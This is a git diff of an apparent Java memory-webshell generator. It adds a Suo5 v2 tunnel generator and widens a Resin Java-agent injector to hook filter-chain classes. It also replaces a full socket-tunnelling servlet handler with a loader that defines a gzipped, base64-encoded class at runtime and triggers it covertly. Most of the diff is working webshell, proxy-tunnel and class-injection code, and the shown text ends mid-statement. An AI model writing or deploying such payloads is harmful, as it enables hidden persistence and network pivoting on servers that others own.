diff --git a/build.gradle.kts b/build.gradle.kts index ba17f1df..4482a160 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,10 +9,16 @@ idea { } } -version = "2.5.0" +version = "2.5.1-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":packer:publishToMavenCentral") dependsOn(":generator:publishToMavenCentral") +} + +tasks.register("publishAllToMavenLocal") { + dependsOn(":memshell-party-common:publishToMavenLocal") + dependsOn(":packer:publishToMavenLocal") + dependsOn(":generator:publishToMavenLocal") } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java index 1acbc5bf..2cd1d246 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java @@ -23,7 +23,7 @@ public class ShellToolFactory { register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); - register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class); + register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index 4243a60c..a9395fcd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -23,6 +23,10 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) { protected abstract DynamicType.Builder getBuilder(); + protected byte[] postProcessBytes(byte[] classBytes) { + return classBytes; + } + @Override public byte[] getBytes() { DynamicType.Builder builder = getBuilder(); @@ -42,7 +46,8 @@ public byte[] getBytes() { .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); try (DynamicType.Unloaded unloaded = builder.make()) { - return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig); + byte[] bytes = postProcessBytes(unloaded.getBytes()); + return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java index 8f278e69..2c29890b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java @@ -17,11 +17,11 @@ public final class ProcessorRegistry { private static final List>> BUILDER_PROCESSORS = Arrays.asList( new ListenerBuilderModifier(), new ValveBuilderModifier(), - new JakartaBuilderModifier(), new DebugOffBuilderModifier() ); private static final List> BYTE_PROCESSORS = Arrays.asList( + new JakartaPostProcessor(), new JettyHandlerPostProcessor(), new ShrinkPostProcessor() ); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java new file mode 100644 index 00000000..5bb9ff4e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.Suo5Config; +import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2; +import com.reajason.javaweb.utils.CommonUtil; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import org.apache.commons.codec.binary.Base64; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/2/12 + */ +public class Suo5V2Generator extends ByteBuddyShellGenerator { + + public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) { + super(shellConfig, suo5Config); + } + + @Override + protected DynamicType.Builder getBuilder() { + if (Suo5v2.class.equals(shellToolConfig.getShellClass())) { + return new ByteBuddy() + .redefine(shellToolConfig.getShellClass()) + .field(named("headerName")).value(shellToolConfig.getHeaderName()) + .field(named("headerValue")).value(shellToolConfig.getHeaderValue()); + } + try (DynamicType.Unloaded unloaded = new ByteBuddy() + .redefine(Suo5v2.class) + .name(CommonUtil.generateClassName()) + .field(named("headerName")).value(shellToolConfig.getHeaderName()) + .field(named("headerValue")).value(shellToolConfig.getHeaderValue()) + .visit(TargetJreVersionVisitorWrapper.DEFAULT) + .make()) { + byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true); + return new ByteBuddy() + .redefine(shellToolConfig.getShellClass()) + .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes))); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java deleted file mode 100644 index cb83b2fe..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java +++ /dev/null @@ -1,22 +0,0 @@ -package com.reajason.javaweb.memshell.generator.processors; - -import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; -import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.config.ShellToolConfig; -import com.reajason.javaweb.memshell.generator.Processor; -import net.bytebuddy.dynamic.DynamicType; - -/** - * @author ReaJason - * @since 2025/12/7 - */ -public class JakartaBuilderModifier implements Processor> { - - @Override - public DynamicType.Builder process(DynamicType.Builder builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { - if (shellConfig.isJakarta()) { - builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); - } - return builder; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java new file mode 100644 index 00000000..dc493172 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.memshell.generator.processors; + +import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.Processor; + +public class JakartaPostProcessor implements Processor { + @Override + public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + if (shellConfig.isJakarta()) { + return ClassRenameUtils.relocateJakarta(input); + } + return input; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java index c2a188e2..897fc631 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java @@ -17,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; +import net.bytebuddy.implementation.StubMethod; import net.bytebuddy.matcher.ElementMatchers; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -46,12 +47,9 @@ public static DynamicType.Builder modifier(DynamicType.Builder builder, Cl TypeDescription typeDefinition, String newClassName) { MethodList methods = typeDefinition.getDeclaredMethods(); - if (methods.filter(ElementMatchers.named("getResponseFromRequest") - .and(ElementMatchers.takesArguments(Object.class)) - .and(ElementMatchers.returns(Object.class))) - .isEmpty()) { - throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" + - " make sure arg and return type is Object.class"); + if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) { + throw new GenerationException("please add [getResponseFromRequest(Object request)] method," + + " the method body will be auto adapted for multi server"); } else { builder = builder .visit(MethodCallReplaceVisitorWrapper.newInstance( @@ -59,13 +57,11 @@ public static DynamicType.Builder modifier(DynamicType.Builder builder, Cl .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); } - if (methods.filter(named("getFieldValue") - .and(takesArguments(Object.class, String.class))) - .isEmpty()) { + if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) { builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) .withParameters(Object.class, String.class) .throwing(Exception.class) - .intercept(FixedValue.nullValue()) + .intercept(StubMethod.INSTANCE) .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); } return builder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java index 25b885b3..6405f694 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java @@ -14,9 +14,11 @@ * @since 2025/3/26 */ public class ResinFilterChainAgentInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain"; private static final String TARGET_METHOD_NAME = "doFilter"; - + private static final String[] TARGET_CLASSES = new String[]{ + "com/caucho/server/http/FilterChainFilter", + "com/caucho/server/dispatch/FilterFilterChain", + }; public static String getClassName() { return "{{advisorName}}"; } @@ -38,8 +40,10 @@ private static void launch(Instrumentation inst) throws Exception { inst.addTransformer(new ResinFilterChainAgentInjector(), true); for (Class allLoadedClass : inst.getAllLoadedClasses()) { String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); + for (String targetClass : TARGET_CLASSES) { + if (targetClass.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } } } } @@ -48,22 +52,24 @@ private static void launch(Instrumentation inst) throws Exception { @SuppressWarnings("all") public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - defineTargetClass(loader); - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); + for (String targetClass : TARGET_CLASSES) { + if (className.equals(targetClass)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } } } return bytes; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java index 8f1791af..b0e7332d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java @@ -248,8 +248,9 @@ private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())}); OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); + pipeStream(conn.getInputStream(), out, resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -346,11 +347,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); t = new Thread(p); t.start(); @@ -539,8 +539,8 @@ private void performWrite(HashMap dataMap, String tunId, boolean newThread) thro throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -563,9 +563,6 @@ private byte[] performRead(String tunId) throws Exception { throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -582,6 +579,10 @@ private byte[] performRead(String tunId) throws Exception { break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -610,7 +611,7 @@ private int getServerPort(Object request) throws Exception { return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -624,6 +625,9 @@ private void pipeStream(InputStream inputStream, OutputStream outputStream, bool } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.getClass().getMethod("flushBuffer").invoke(resp); + } } } finally { // don't close outputStream @@ -1031,7 +1035,7 @@ public void run() { // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1065,10 +1069,17 @@ public void run() { // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1080,8 +1091,8 @@ public void run() { if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java index dcb49e70..bf3567f4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -3,1072 +3,70 @@ import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.mvc.Controller; -import javax.net.ssl.*; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2ControllerHandler extends ClassLoader implements Controller { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2ControllerHandler() { } - public Suo5v2ControllerHandler(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2ControllerHandler(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; + protected Suo5v2ControllerHandler(ClassLoader parent) { + super(parent); } public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - new Suo5v2ControllerHandler().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2ControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); } + suo5V2Class.newInstance().equals(new Object[]{request, response}); } catch (Exception ignored) { } return null; } - private void process(ServletRequest request, ServletResponse response) { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - - String sid = null; - byte[] bodyPrefix = new byte[0]; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - InputStream reqInputStream = req.getInputStream(); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(req, resp, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(resp); - processFullStream(req, resp, dataMap, tunId); - break; - case 0x02: - setBypassHeader(resp); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - resp.setStatus(403); - - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); - do { - processHalfStream(req, resp, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(resp, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, new String(sidData))); - - do { - processClassic(req, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - - break; - default: - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } catch (Throwable e) { - } finally { - try { - OutputStream out = resp.getOutputStream(); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(HttpServletResponse resp) { - resp.setBufferSize(BUF_SIZE); - resp.setHeader("X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - resp.setHeader("Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.setStatus(403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = req.getInputStream(); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - - Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = resp.getOutputStream(); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.flushBuffer(); - } - - private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2ControllerHandler(tunId, 1)).start(); - new Thread(new Suo5v2ControllerHandler(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if 